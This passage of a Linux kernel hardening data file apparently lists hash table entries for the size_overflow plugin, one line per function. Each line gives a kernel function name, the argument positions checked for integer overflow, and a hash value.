++_001813_hash __alloc_ei_netdev 1 29338 _001813_hash NULL ++_001814_hash __alloc_eip_netdev 1 51549 _001814_hash NULL ++_001815_hash alloc_libipw 1 22708 _001815_hash NULL ++_001816_hash _alloc_mISDN_skb 3 52232 _001816_hash NULL ++_001817_hash alloc_pg_vec 2 8533 _001817_hash NULL ++_001818_hash alloc_sja1000dev 1 17868 _001818_hash NULL ++_001819_hash alloc_targets 2 8074 _001819_hash &_001620_hash ++_001822_hash ath6kl_disconnect_timeout_read 3 3650 _001822_hash NULL ++_001823_hash ath6kl_endpoint_stats_read 3 41554 _001823_hash NULL ++_001824_hash ath6kl_fwlog_mask_read 3 2050 _001824_hash NULL ++_001825_hash ath6kl_keepalive_read 3 44303 _001825_hash NULL ++_001826_hash ath6kl_listen_int_read 3 10355 _001826_hash NULL ++_001827_hash ath6kl_lrssi_roam_read 3 61022 _001827_hash NULL ++_001828_hash ath6kl_regdump_read 3 14393 _001828_hash NULL ++_001829_hash ath6kl_regread_read 3 25884 _001829_hash NULL ++_001830_hash ath6kl_regwrite_read 3 48747 _001830_hash NULL ++_001831_hash ath6kl_roam_table_read 3 26166 _001831_hash NULL ++_001832_hash ath9k_debugfs_read_buf 3 25316 _001832_hash NULL ++_001833_hash ath9k_multi_regread 4 65056 _001833_hash NULL ++_001834_hash ath_rxbuf_alloc 2 24745 _001834_hash NULL ++_001835_hash atk_debugfs_ggrp_read 3 29522 _001835_hash NULL ++_001836_hash audit_log_n_untrustedstring 3 9548 _001836_hash NULL ++_001837_hash ax25_send_frame 2 19964 _001837_hash NULL ++_001838_hash b43_debugfs_read 3 24425 _001838_hash NULL ++_001839_hash b43legacy_debugfs_read 3 2473 _001839_hash NULL ++_001840_hash batadv_bla_is_backbone_gw 3 58488 _001840_hash NULL ++_001841_hash batadv_check_management_packet 3 52993 _001841_hash NULL ++_001842_hash batadv_check_unicast_packet 2 10866 _001842_hash NULL ++_001843_hash batadv_interface_rx 4 8568 _001843_hash NULL ++_001844_hash batadv_skb_head_push 2 11360 _001844_hash NULL ++_001845_hash bchannel_get_rxbuf 2 37213 _001845_hash NULL ++_001846_hash bcm_recvmsg 4 43992 _001846_hash NULL ++_001847_hash bfad_debugfs_read 3 13119 _001847_hash NULL ++_001848_hash bfad_debugfs_read_regrd 3 57830 _001848_hash NULL ++_001849_hash blk_init_tags 1 30592 _001849_hash NULL ++_001850_hash blk_queue_init_tags 2 44355 _001850_hash &_001022_hash ++_001851_hash blk_rq_map_kern 4 47004 _001851_hash NULL ++_001852_hash bm_entry_read 3 10976 _001852_hash NULL ++_001853_hash bm_status_read 3 19583 _001853_hash NULL ++_001854_hash bnad_debugfs_read 3 50665 _001854_hash NULL ++_001855_hash bnad_debugfs_read_regrd 3 51308 _001855_hash NULL ++_001856_hash bnx2i_send_nl_mesg 4 53353 _001856_hash NULL ++_001857_hash brcmf_debugfs_sdio_counter_read 3 58369 _001857_hash NULL ++_001858_hash brcmf_sdio_assert_info 4 52653 _001858_hash NULL ++_001859_hash brcmf_sdio_dump_console 4 37455 _001859_hash NULL ++_001860_hash brcmf_sdio_trap_info 4 48510 _001860_hash NULL ++_001861_hash btmrvl_curpsmode_read 3 46939 _001861_hash NULL ++_001862_hash btmrvl_gpiogap_read 3 4718 _001862_hash NULL ++_001863_hash btmrvl_hscfgcmd_read 3 56303 _001863_hash NULL ++_001864_hash btmrvl_hscmd_read 3 1614 _001864_hash NULL ++_001865_hash btmrvl_hsmode_read 3 1647 _001865_hash NULL ++_001866_hash btmrvl_hsstate_read 3 920 _001866_hash NULL ++_001867_hash btmrvl_pscmd_read 3 24308 _001867_hash NULL ++_001868_hash btmrvl_psmode_read 3 22395 _001868_hash NULL ++_001869_hash btmrvl_psstate_read 3 50683 _001869_hash NULL ++_001870_hash btmrvl_txdnldready_read 3 413 _001870_hash NULL ++_001871_hash btrfs_add_link 5 9973 _001871_hash NULL ++_001872_hash __btrfs_direct_write 4 22273 _001872_hash NULL ++_001873_hash btrfs_discard_extent 2 38547 _001873_hash NULL ++_001874_hash btrfs_file_aio_write 4 21520 _001874_hash NULL ++_001875_hash btrfs_find_create_tree_block 3 55812 _001875_hash NULL ++_001876_hash btrfsic_map_block 2 56751 _001876_hash NULL ++_001877_hash cache_read_pipefs 3 47615 _001877_hash NULL ++_001878_hash cache_read_procfs 3 52882 _001878_hash NULL ++_001879_hash cache_write_pipefs 3 48270 _001879_hash NULL ++_001880_hash cache_write_procfs 3 22491 _001880_hash NULL ++_001881_hash caif_stream_recvmsg 4 13173 _001881_hash NULL ++_001882_hash carl9170_alloc 1 27 _001882_hash NULL ++_001883_hash carl9170_debugfs_read 3 47738 _001883_hash NULL ++_001884_hash ceph_msgpool_init 4 34599 _001884_hash NULL ++_001885_hash cfpkt_add_trail 3 27260 _001885_hash NULL ++_001886_hash cfpkt_create 1 18197 _001886_hash NULL ++_001887_hash cfpkt_pad_trail 2 55511 _003606_hash NULL nohasharray ++_001888_hash cfpkt_split 2 47541 _001888_hash NULL ++_001889_hash cgroup_read_s64 5 19570 _001889_hash NULL ++_001890_hash cgroup_read_u64 5 45532 _001890_hash NULL ++_001891_hash channel_type_read 3 47308 _001891_hash NULL ++_001892_hash check_header 2 56930 _001892_hash NULL ++_001893_hash codec_list_read_file 3 24910 _001893_hash NULL ++_001894_hash configfs_read_file 3 1683 _001894_hash NULL ++_001895_hash console_store 4 36007 _001895_hash NULL ++_001896_hash cpuset_common_file_read 5 8800 _001896_hash NULL ++_001897_hash create_subvol 4 30836 _001897_hash NULL ++_001898_hash cxio_hal_init_resource 2-7-6 29771 _001898_hash &_000295_hash ++_001901_hash cxio_hal_init_rhdl_resource 1 25104 _001901_hash NULL ++_001902_hash dai_list_read_file 3 25421 _001902_hash NULL ++_001903_hash dapm_bias_read_file 3 64715 _001903_hash NULL ++_001904_hash dapm_widget_power_read_file 3 59950 _001983_hash NULL nohasharray ++_001907_hash dbgfs_frame 3 45917 _001907_hash NULL ++_001908_hash dbgfs_state 3 38894 _001908_hash NULL ++_001909_hash dccp_manip_pkt 2 30229 _001909_hash NULL ++_001910_hash ddp_ppod_write_idata 5 25610 _001910_hash NULL ++_001911_hash debugfs_read 3 62535 _001911_hash NULL ++_001912_hash debug_output 3 18575 _001912_hash NULL ++_001913_hash debug_read 3 19322 _001913_hash NULL ++_001914_hash dev_alloc_skb 1 19517 _001914_hash &_001366_hash ++_001915_hash dfs_file_read 3 18116 _001915_hash NULL ++_001916_hash diva_alloc_dma_map 2 23798 _001916_hash NULL ++_001917_hash diva_xdi_write 4 63975 _001917_hash NULL ++_001918_hash dma_memcpy_pg_to_iovec 6 1725 _001918_hash NULL ++_001919_hash dma_memcpy_to_iovec 5 12173 _001919_hash NULL ++_001920_hash dma_show_regs 3 35266 _001920_hash NULL ++_001921_hash dm_exception_table_init 2 39645 _001921_hash &_001149_hash ++_001922_hash dn_nsp_do_disc 2-6 49474 _001922_hash NULL ++_001924_hash dn_recvmsg 4 17213 _001924_hash NULL ++_001925_hash dns_resolver_read 3 54658 _001925_hash NULL ++_001926_hash do_msgrcv 4 5590 _001926_hash NULL ++_001927_hash do_syslog 3 56807 _001927_hash NULL ++_001928_hash dpcm_state_read_file 3 65489 _001928_hash NULL ++_001929_hash dsp_cmx_send_member 2 15625 _001929_hash NULL ++_001930_hash fallback_on_nodma_alloc 2 35332 _001930_hash NULL ++_001931_hash fc_frame_alloc 2 1596 _001931_hash NULL ++_001932_hash fc_frame_alloc_fill 2 59394 _001932_hash NULL ++_001933_hash filter_read 3 61692 _001933_hash NULL ++_001934_hash __finish_unordered_dir 4 33198 _001934_hash NULL ++_001935_hash format_devstat_counter 3 32550 _001935_hash NULL ++_001936_hash fragmentation_threshold_read 3 61718 _001936_hash NULL ++_001937_hash fuse_conn_limit_read 3 20084 _001937_hash NULL ++_001938_hash fuse_conn_waiting_read 3 49762 _001938_hash NULL ++_001939_hash fuse_file_aio_write 4 46399 _001939_hash NULL ++_001940_hash generic_readlink 3 32654 _001940_hash NULL ++_001941_hash gre_manip_pkt 2 38785 _001941_hash NULL ++_001942_hash handle_eviocgbit 3 44193 _001942_hash NULL ++_001943_hash handle_response 5 55951 _001943_hash NULL ++_001944_hash handle_response_icmp 7 39574 _001944_hash NULL ++_001945_hash hash_recvmsg 4 50924 _001945_hash NULL ++_001946_hash hci_send_cmd 3 43810 _001946_hash NULL ++_001947_hash hci_si_event 3 1404 _001947_hash NULL ++_001948_hash help 4 14971 _001948_hash NULL ++_001949_hash hfcpci_empty_bfifo 4 62323 _001949_hash NULL ++_001950_hash hidp_send_ctrl_message 4 43702 _001950_hash NULL ++_001951_hash ht40allow_map_read 3 55209 _001951_hash &_001512_hash ++_001952_hash hwflags_read 3 52318 _001952_hash NULL ++_001953_hash hysdn_conf_read 3 42324 _001953_hash NULL ++_001954_hash hysdn_sched_rx 3 60533 _001954_hash NULL ++_001955_hash i2400m_rx_stats_read 3 57706 _001955_hash NULL ++_001956_hash i2400m_tx_stats_read 3 28527 _001956_hash NULL ++_001957_hash icmp_manip_pkt 2 48801 _001957_hash NULL ++_001958_hash idmouse_read 3 63374 _001958_hash NULL ++_001959_hash ieee80211_if_read 3 6785 _001959_hash NULL ++_001960_hash ieee80211_rx_bss_info 3 61630 _001960_hash NULL ++_001961_hash ikconfig_read_current 3 1658 _001961_hash NULL ++_001962_hash il3945_sta_dbgfs_stats_table_read 3 48802 _001962_hash NULL ++_001963_hash il3945_ucode_general_stats_read 3 46111 _001963_hash NULL ++_001964_hash il3945_ucode_rx_stats_read 3 3048 _001964_hash NULL ++_001965_hash il3945_ucode_tx_stats_read 3 36016 _001965_hash NULL ++_001966_hash il4965_rs_sta_dbgfs_rate_scale_data_read 3 37792 _001966_hash NULL ++_001967_hash il4965_rs_sta_dbgfs_scale_table_read 3 38564 _001967_hash NULL ++_001968_hash il4965_rs_sta_dbgfs_stats_table_read 3 49206 _001968_hash NULL ++_001969_hash il4965_ucode_general_stats_read 3 56277 _001969_hash NULL ++_001970_hash il4965_ucode_rx_stats_read 3 61948 _001970_hash NULL ++_001971_hash il4965_ucode_tx_stats_read 3 12064 _001971_hash NULL ++_001972_hash il_dbgfs_chain_noise_read 3 38044 _001972_hash NULL ++_001973_hash il_dbgfs_channels_read 3 25005 _001973_hash NULL ++_001974_hash il_dbgfs_disable_ht40_read 3 42386 _001974_hash NULL ++_001975_hash il_dbgfs_fh_reg_read 3 40993 _001975_hash NULL ++_001976_hash il_dbgfs_force_reset_read 3 57517 _001976_hash NULL ++_001977_hash il_dbgfs_interrupt_read 3 3351 _001977_hash NULL ++_001978_hash il_dbgfs_missed_beacon_read 3 59956 _001978_hash NULL ++_001979_hash il_dbgfs_nvm_read 3 12288 _001979_hash NULL ++_001980_hash il_dbgfs_power_save_status_read 3 43165 _001980_hash NULL ++_001981_hash il_dbgfs_qos_read 3 33615 _001981_hash NULL ++_001982_hash il_dbgfs_rxon_filter_flags_read 3 19281 _001982_hash NULL ++_001983_hash il_dbgfs_rxon_flags_read 3 59950 _001983_hash &_001904_hash ++_001984_hash il_dbgfs_rx_queue_read 3 11221 _001984_hash NULL ++_001985_hash il_dbgfs_rx_stats_read 3 15243 _001985_hash NULL ++_001986_hash il_dbgfs_sensitivity_read 3 2370 _001986_hash NULL ++_001987_hash il_dbgfs_sram_read 3 62296 _001987_hash NULL ++_001988_hash il_dbgfs_stations_read 3 21532 _001988_hash NULL ++_001989_hash il_dbgfs_status_read 3 58388 _001989_hash NULL ++_001990_hash il_dbgfs_tx_queue_read 3 55668 _001990_hash NULL ++_001991_hash il_dbgfs_tx_stats_read 3 32913 _001991_hash NULL ++_001992_hash ima_show_htable_value 2 57136 _001992_hash NULL ++_001994_hash intel_fake_agp_alloc_by_type 1 1 _001994_hash NULL ++_001995_hash ip4ip6_err 5 36772 _001995_hash NULL ++_001996_hash ip6_append_data 4-5 36490 _003601_hash NULL nohasharray ++_001997_hash ip6ip6_err 5 18308 _001997_hash NULL ++_001998_hash __ip_append_data 7-8 36191 _001998_hash NULL ++_001999_hash ip_vs_icmp_xmit 4 59624 _001999_hash NULL ++_002000_hash ip_vs_icmp_xmit_v6 4 20464 _002000_hash NULL ++_002001_hash ipw_write 3 59807 _002001_hash NULL ++_002002_hash irda_recvmsg_stream 4 35280 _002002_hash NULL ++_002003_hash irq_domain_add_simple 2 46734 _002003_hash NULL ++_002004_hash __iscsi_complete_pdu 4 10726 _002004_hash NULL ++_002005_hash iscsi_nop_out_rsp 4 51117 _002005_hash NULL ++_002006_hash iscsi_tcp_conn_setup 2 16376 _002006_hash NULL ++_002007_hash iwl_dbgfs_bt_traffic_read 3 35534 _002007_hash NULL ++_002008_hash iwl_dbgfs_calib_disabled_read 3 22649 _002008_hash NULL ++_002009_hash iwl_dbgfs_chain_noise_read 3 46355 _002009_hash NULL ++_002010_hash iwl_dbgfs_channels_read 3 6784 _002010_hash NULL ++_002011_hash iwl_dbgfs_current_sleep_command_read 3 2081 _002011_hash NULL ++_002012_hash iwl_dbgfs_disable_ht40_read 3 35761 _002012_hash NULL ++_002013_hash iwl_dbgfs_fh_reg_read 3 879 _002013_hash &_000406_hash ++_002014_hash iwl_dbgfs_interrupt_read 3 23574 _002014_hash NULL ++_002015_hash iwl_dbgfs_log_event_read 3 2107 _002015_hash NULL ++_002016_hash iwl_dbgfs_missed_beacon_read 3 50584 _002016_hash NULL ++_002017_hash iwl_dbgfs_nvm_read 3 23845 _002017_hash NULL ++_002018_hash iwl_dbgfs_plcp_delta_read 3 55407 _002018_hash NULL ++_002019_hash iwl_dbgfs_power_save_status_read 3 54392 _002019_hash NULL ++_002020_hash iwl_dbgfs_protection_mode_read 3 13943 _002020_hash NULL ++_002021_hash iwl_dbgfs_qos_read 3 11753 _002021_hash NULL ++_002022_hash iwl_dbgfs_reply_tx_error_read 3 19205 _002022_hash NULL ++_002023_hash iwl_dbgfs_rf_reset_read 3 26512 _002023_hash NULL ++_002024_hash iwl_dbgfs_rx_handlers_read 3 18708 _002024_hash NULL ++_002025_hash iwl_dbgfs_rxon_filter_flags_read 3 28832 _002025_hash NULL ++_002026_hash iwl_dbgfs_rxon_flags_read 3 20795 _002026_hash NULL ++_002027_hash iwl_dbgfs_rx_queue_read 3 19943 _002027_hash NULL ++_002028_hash iwl_dbgfs_sensitivity_read 3 63116 _002731_hash NULL nohasharray ++_002029_hash iwl_dbgfs_sleep_level_override_read 3 3038 _002029_hash NULL ++_002030_hash iwl_dbgfs_sram_read 3 44505 _002030_hash NULL ++_002031_hash iwl_dbgfs_stations_read 3 9309 _002031_hash NULL ++_002032_hash iwl_dbgfs_status_read 3 5171 _002032_hash NULL ++_002033_hash iwl_dbgfs_temperature_read 3 29224 _002033_hash NULL ++_002034_hash iwl_dbgfs_thermal_throttling_read 3 38779 _002034_hash NULL ++_002035_hash iwl_dbgfs_tx_queue_read 3 4635 _002035_hash NULL ++_002036_hash iwl_dbgfs_ucode_bt_stats_read 3 42820 _002036_hash NULL ++_002037_hash iwl_dbgfs_ucode_general_stats_read 3 49199 _002037_hash NULL ++_002038_hash iwl_dbgfs_ucode_rx_stats_read 3 58023 _002038_hash NULL ++_002039_hash iwl_dbgfs_ucode_tracing_read 3 47983 _002039_hash &_000356_hash ++_002040_hash iwl_dbgfs_ucode_tx_stats_read 3 31611 _002040_hash NULL ++_002041_hash iwl_dbgfs_wowlan_sram_read 3 540 _002041_hash NULL ++_002042_hash joydev_ioctl 2 33343 _002042_hash NULL ++_002043_hash kernel_readv 3 35617 _002043_hash NULL ++_002044_hash key_algorithm_read 3 57946 _002044_hash NULL ++_002045_hash key_icverrors_read 3 20895 _002045_hash NULL ++_002046_hash key_key_read 3 3241 _002046_hash NULL ++_002047_hash key_replays_read 3 62746 _002047_hash NULL ++_002048_hash key_rx_spec_read 3 12736 _002048_hash NULL ++_002049_hash key_tx_spec_read 3 4862 _002049_hash NULL ++_002050_hash __kfifo_to_user 3 36555 _002568_hash NULL nohasharray ++_002051_hash __kfifo_to_user_r 3 39123 _002051_hash NULL ++_002052_hash kmem_zalloc_greedy 2-3 65268 _002052_hash NULL ++_002054_hash l1oip_socket_recv 6 56537 _002054_hash NULL ++_002055_hash l2cap_build_cmd 4 48676 _002055_hash NULL ++_002056_hash l2cap_chan_send 3 49995 _002056_hash NULL ++_002057_hash l2cap_segment_sdu 4 48772 _002057_hash NULL ++_002058_hash l2down_create 4 21755 _002058_hash NULL ++_002059_hash l2tp_xmit_skb 3 42672 _002059_hash NULL ++_002060_hash l2up_create 3 6430 _002060_hash NULL ++_002061_hash lbs_debugfs_read 3 30721 _002061_hash NULL ++_002062_hash lbs_dev_info 3 51023 _002062_hash NULL ++_002063_hash lbs_host_sleep_read 3 31013 _002063_hash NULL ++_002064_hash lbs_rdbbp_read 3 45805 _002064_hash NULL ++_002065_hash lbs_rdmac_read 3 418 _002065_hash NULL ++_002066_hash lbs_rdrf_read 3 41431 _002066_hash NULL ++_002067_hash lbs_sleepparams_read 3 10840 _002067_hash NULL ++_002068_hash lbs_threshold_read 5 21046 _002068_hash NULL ++_002069_hash ldisc_receive 4 41516 _002069_hash NULL ++_002070_hash libfc_vport_create 2 4415 _002070_hash NULL ++_002073_hash lkdtm_debugfs_read 3 45752 _002073_hash NULL ++_002074_hash llcp_sock_recvmsg 4 13556 _002074_hash NULL ++_002075_hash long_retry_limit_read 3 59766 _002075_hash NULL ++_002076_hash lpfc_debugfs_dif_err_read 3 36303 _002076_hash NULL ++_002077_hash lpfc_debugfs_read 3 16566 _002077_hash NULL ++_002078_hash lpfc_idiag_baracc_read 3 58466 _002972_hash NULL nohasharray ++_002079_hash lpfc_idiag_ctlacc_read 3 33943 _002079_hash NULL ++_002080_hash lpfc_idiag_drbacc_read 3 15948 _002080_hash NULL ++_002081_hash lpfc_idiag_extacc_read 3 48301 _002081_hash NULL ++_002082_hash lpfc_idiag_mbxacc_read 3 28061 _002082_hash NULL ++_002083_hash lpfc_idiag_pcicfg_read 3 50334 _002083_hash NULL ++_002084_hash lpfc_idiag_queacc_read 3 13950 _002084_hash NULL ++_002085_hash lpfc_idiag_queinfo_read 3 55662 _002085_hash NULL ++_002086_hash lro_gen_skb 6 2644 _002086_hash NULL ++_002087_hash mac80211_format_buffer 2 41010 _002087_hash NULL ++_002088_hash macvtap_alloc_skb 2-4-3 50629 _002088_hash NULL ++_002091_hash macvtap_put_user 4 55609 _002091_hash NULL ++_002092_hash macvtap_sendmsg 4 30629 _002092_hash NULL ++_002093_hash mangle_packet 6-8 27864 _002093_hash NULL ++_002095_hash manip_pkt 3 7741 _002095_hash NULL ++_002096_hash mempool_create_kmalloc_pool 1 41650 _002096_hash NULL ++_002097_hash mempool_create_page_pool 1 30189 _002097_hash NULL ++_002098_hash mempool_create_slab_pool 1 62907 _002098_hash NULL ++_002099_hash mgmt_device_found 10 14146 _002099_hash NULL ++_002100_hash minstrel_stats_read 3 17290 _002100_hash NULL ++_002101_hash mmc_ext_csd_read 3 13205 _002101_hash NULL ++_002102_hash mon_bin_read 3 6841 _002102_hash NULL ++_002103_hash mon_stat_read 3 25238 _002103_hash NULL ++_002105_hash mqueue_read_file 3 6228 _002105_hash NULL ++_002106_hash mwifiex_debug_read 3 53074 _002106_hash NULL ++_002107_hash mwifiex_getlog_read 3 54269 _002107_hash NULL ++_002108_hash mwifiex_info_read 3 53447 _002108_hash NULL ++_002109_hash mwifiex_rdeeprom_read 3 51429 _002109_hash NULL ++_002110_hash mwifiex_regrdwr_read 3 34472 _002110_hash NULL ++_002111_hash named_prepare_buf 2 24532 _002111_hash NULL ++_002112_hash nci_send_cmd 3 58206 _002112_hash NULL ++_002113_hash netdev_alloc_skb_ip_align 2 40811 _002113_hash NULL ++_002114_hash netpoll_send_udp 3 58955 _002114_hash NULL ++_002115_hash nfcwilink_send_bts_cmd 3 10802 _002115_hash NULL ++_002116_hash nf_nat_mangle_tcp_packet 5-7 8643 _002116_hash NULL ++_002119_hash nfsd_vfs_read 6 62605 _002616_hash NULL nohasharray ++_002120_hash nfsd_vfs_write 6 54577 _002120_hash NULL ++_002121_hash nfs_idmap_lookup_id 2 10660 _002121_hash NULL ++_002122_hash ntfs_rl_realloc 3 56831 _002122_hash &_000370_hash ++_002123_hash ntfs_rl_realloc_nofail 3 32173 _002123_hash NULL ++_002124_hash o2hb_debug_read 3 37851 _002124_hash NULL ++_002125_hash o2net_debug_read 3 52105 _002125_hash NULL ++_002126_hash ocfs2_control_read 3 56405 _002126_hash NULL ++_002127_hash ocfs2_debug_read 3 14507 _002127_hash NULL ++_002128_hash oom_adjust_read 3 25127 _002128_hash NULL ++_002129_hash oom_score_adj_read 3 39921 _002426_hash NULL nohasharray ++_002130_hash oprofilefs_str_to_user 3 42182 _002130_hash NULL ++_002131_hash oprofilefs_ulong_to_user 3 11582 _002131_hash NULL ++_002132_hash osd_req_add_get_attr_list 3 49278 _002132_hash NULL ++_002133_hash _osd_req_list_objects 6 4204 _002133_hash NULL ++_002134_hash osd_req_read_kern 5 59990 _002134_hash NULL ++_002135_hash osd_req_write_kern 5 53486 _002135_hash NULL ++_002136_hash osst_read 3 40237 _002136_hash NULL ++_002137_hash p54_alloc_skb 3 34366 _002137_hash &_000485_hash ++_002138_hash p54_init_common 1 23850 _002138_hash NULL ++_002139_hash packet_alloc_skb 2-5-4 62602 _002139_hash NULL ++_002142_hash packet_sendmsg 4 24954 _002142_hash NULL ++_002143_hash page_readlink 3 23346 _002143_hash NULL ++_002144_hash pcf50633_write_block 3 2124 _002144_hash NULL ++_002145_hash pcpu_alloc_alloc_info 1-2 45813 _002145_hash NULL ++_002147_hash pep_indicate 5 38611 _002147_hash NULL ++_002148_hash pep_reply 5 50582 _002148_hash NULL ++_002149_hash pipe_handler_request 5 50774 _003582_hash NULL nohasharray ++_002150_hash platform_list_read_file 3 34734 _002150_hash NULL ++_002151_hash pm860x_bulk_write 3 43875 _002151_hash NULL ++_002152_hash pm_qos_power_read 3 55891 _002152_hash NULL ++_002153_hash port_show_regs 3 5904 _002153_hash NULL ++_002154_hash proc_coredump_filter_read 3 39153 _002154_hash NULL ++_002155_hash proc_fdinfo_read 3 62043 _002155_hash NULL ++_002156_hash proc_file_read 3 53905 _002156_hash NULL ++_002157_hash proc_info_read 3 63344 _002157_hash NULL ++_002158_hash proc_loginuid_read 3 15631 _002158_hash NULL ++_002159_hash proc_pid_attr_read 3 10173 _002159_hash NULL ++_002160_hash proc_pid_readlink 3 52186 _002160_hash NULL ++_002161_hash proc_read 3 43614 _002161_hash NULL ++_002162_hash proc_self_readlink 3 38094 _002162_hash NULL ++_002163_hash proc_sessionid_read 3 6911 _002299_hash NULL nohasharray ++_002164_hash provide_user_output 3 41105 _002164_hash NULL ++_002165_hash pskb_network_may_pull 2 35336 _002165_hash NULL ++_002166_hash pskb_pull 2 65005 _002166_hash NULL ++_002167_hash pstore_file_read 3 57288 _002167_hash NULL ++_002168_hash ql_process_mac_rx_page 4 15543 _002168_hash NULL ++_002169_hash ql_process_mac_rx_skb 4 6689 _002169_hash NULL ++_002170_hash queues_read 3 24877 _002170_hash NULL ++_002171_hash raw_recvmsg 4 17277 _002171_hash NULL ++_002172_hash rcname_read 3 25919 _002172_hash NULL ++_002173_hash read_4k_modal_eeprom 3 30212 _002173_hash NULL ++_002174_hash read_9287_modal_eeprom 3 59327 _002174_hash NULL ++_002175_hash reada_find_extent 2 63486 _002175_hash NULL ++_002176_hash read_def_modal_eeprom 3 14041 _002176_hash NULL ++_002177_hash read_enabled_file_bool 3 37744 _002177_hash NULL ++_002178_hash read_file_ani 3 23161 _002178_hash NULL ++_002179_hash read_file_antenna 3 13574 _002179_hash NULL ++_002180_hash read_file_base_eeprom 3 42168 _002180_hash NULL ++_002181_hash read_file_beacon 3 32595 _002181_hash NULL ++_002182_hash read_file_blob 3 57406 _002182_hash NULL ++_002183_hash read_file_bool 3 4180 _002183_hash NULL ++_002184_hash read_file_credit_dist_stats 3 54367 _002184_hash NULL ++_002185_hash read_file_debug 3 58256 _002185_hash NULL ++_002186_hash read_file_disable_ani 3 6536 _002186_hash NULL ++_002187_hash read_file_dma 3 9530 _002187_hash NULL ++_002188_hash read_file_dump_nfcal 3 18766 _002188_hash NULL ++_002189_hash read_file_frameerrors 3 64001 _002189_hash NULL ++_002190_hash read_file_interrupt 3 61742 _002197_hash NULL nohasharray ++_002191_hash read_file_misc 3 9948 _002191_hash NULL ++_002192_hash read_file_modal_eeprom 3 39909 _002192_hash NULL ++_002193_hash read_file_queue 3 40895 _002193_hash NULL ++_002194_hash read_file_rcstat 3 22854 _002194_hash NULL ++_002195_hash read_file_recv 3 48232 _002195_hash NULL ++_002196_hash read_file_regidx 3 33370 _002196_hash NULL ++_002197_hash read_file_regval 3 61742 _002197_hash &_002190_hash ++_002198_hash read_file_reset 3 52310 _002198_hash NULL ++_002199_hash read_file_rx_chainmask 3 41605 _002199_hash NULL ++_002200_hash read_file_slot 3 50111 _002200_hash NULL ++_002201_hash read_file_stations 3 35795 _002201_hash NULL ++_002202_hash read_file_tgt_int_stats 3 20697 _002202_hash NULL ++_002203_hash read_file_tgt_rx_stats 3 33944 _002203_hash NULL ++_002204_hash read_file_tgt_stats 3 8959 _002204_hash NULL ++_002205_hash read_file_tgt_tx_stats 3 51847 _002205_hash NULL ++_002206_hash read_file_tx_chainmask 3 3829 _002206_hash NULL ++_002207_hash read_file_war_stats 3 292 _002207_hash NULL ++_002208_hash read_file_xmit 3 21487 _002208_hash NULL ++_002209_hash read_flush_pipefs 3 20171 _002209_hash NULL ++_002210_hash read_flush_procfs 3 27642 _002210_hash NULL ++_002211_hash read_from_oldmem 2 3337 _002211_hash NULL ++_002212_hash read_oldmem 3 55658 _002212_hash NULL ++_002213_hash receive_packet 2 12367 _002213_hash NULL ++_002214_hash regmap_name_read_file 3 39379 _002214_hash NULL ++_002215_hash repair_io_failure 4 4815 _002215_hash NULL ++_002216_hash request_key_and_link 4 42693 _002216_hash NULL ++_002217_hash res_counter_read 4 33499 _002217_hash NULL ++_002218_hash rfcomm_tty_write 3 51603 _002218_hash NULL ++_002219_hash rs_sta_dbgfs_rate_scale_data_read 3 47165 _002219_hash NULL ++_002220_hash rs_sta_dbgfs_scale_table_read 3 40262 _002220_hash NULL ++_002221_hash rs_sta_dbgfs_stats_table_read 3 56573 _002221_hash NULL ++_002222_hash rts_threshold_read 3 44384 _002222_hash NULL ++_002223_hash rxrpc_sendmsg 4 29049 _002223_hash NULL ++_002224_hash scrub_setup_recheck_block 3-4 56245 _002224_hash NULL ++_002226_hash scsi_adjust_queue_depth 3 12802 _002226_hash NULL ++_002227_hash sctp_make_abort 3 34459 _002227_hash NULL ++_002228_hash sctp_make_asconf 3 4078 _002228_hash NULL ++_002229_hash sctp_make_asconf_ack 3 31726 _002229_hash NULL ++_002230_hash sctp_make_datafrag_empty 3 34737 _002230_hash NULL ++_002231_hash sctp_make_fwdtsn 3 53265 _002231_hash NULL ++_002232_hash sctp_make_heartbeat_ack 4 34411 _002232_hash NULL ++_002233_hash sctp_make_init 4 58401 _002233_hash NULL ++_002234_hash sctp_make_init_ack 4 3335 _002234_hash NULL ++_002235_hash sctp_make_op_error_space 3 5528 _002235_hash NULL ++_002236_hash sctp_manip_pkt 2 40620 _002236_hash NULL ++_002237_hash selinux_inode_notifysecctx 3 36896 _002237_hash NULL ++_002238_hash sel_read_avc_cache_threshold 3 33942 _002238_hash NULL ++_002239_hash sel_read_avc_hash_stats 3 1984 _002239_hash NULL ++_002240_hash sel_read_bool 3 24236 _002240_hash NULL ++_002241_hash sel_read_checkreqprot 3 33068 _002241_hash NULL ++_002242_hash sel_read_class 3 12669 _002960_hash NULL nohasharray ++_002243_hash sel_read_enforce 3 2828 _002243_hash NULL ++_002244_hash sel_read_handle_status 3 56139 _002244_hash NULL ++_002245_hash sel_read_handle_unknown 3 57933 _002245_hash NULL ++_002246_hash sel_read_initcon 3 32362 _002246_hash NULL ++_002247_hash sel_read_mls 3 25369 _002247_hash NULL ++_002248_hash sel_read_perm 3 42302 _002248_hash NULL ++_002249_hash sel_read_policy 3 55947 _002249_hash NULL ++_002250_hash sel_read_policycap 3 28544 _002250_hash NULL ++_002251_hash sel_read_policyvers 3 55 _002827_hash NULL nohasharray ++_002252_hash send_mpa_reject 3 7135 _002252_hash NULL ++_002253_hash send_mpa_reply 3 32372 _002253_hash NULL ++_002254_hash send_msg 4 37323 _002254_hash NULL ++_002255_hash send_packet 4 52960 _002255_hash NULL ++_002256_hash set_rxd_buffer_pointer 8 9950 _002256_hash NULL ++_002257_hash sge_rx 3 50594 _002257_hash NULL ++_002258_hash short_retry_limit_read 3 4687 _002258_hash NULL ++_002259_hash simple_attr_read 3 24738 _002259_hash NULL ++_002260_hash simple_transaction_read 3 17076 _002260_hash NULL ++_002261_hash sisusbcon_bmove 5-7-6 21873 _002261_hash NULL ++_002264_hash sisusbcon_clear 3-5-4 64329 _002264_hash NULL ++_002267_hash sisusbcon_putcs 3 57630 _002267_hash &_001043_hash ++_002268_hash sisusbcon_scroll 5-3-2 31315 _002268_hash NULL ++_002269_hash sisusbcon_scroll_area 3-4 25899 _002269_hash NULL ++_002271_hash skb_copy_datagram_const_iovec 2-5-4 48102 _002271_hash NULL ++_002274_hash skb_copy_datagram_iovec 2-4 5806 _002274_hash NULL ++_002276_hash skb_gro_header_slow 2 34958 _002276_hash NULL ++_002277_hash smk_read_ambient 3 61220 _002277_hash NULL ++_002278_hash smk_read_direct 3 15803 _002278_hash NULL ++_002279_hash smk_read_doi 3 30813 _002279_hash NULL ++_002280_hash smk_read_logging 3 37804 _002280_hash NULL ++_002281_hash smk_read_mapped 3 7562 _002281_hash NULL ++_002282_hash smk_read_onlycap 3 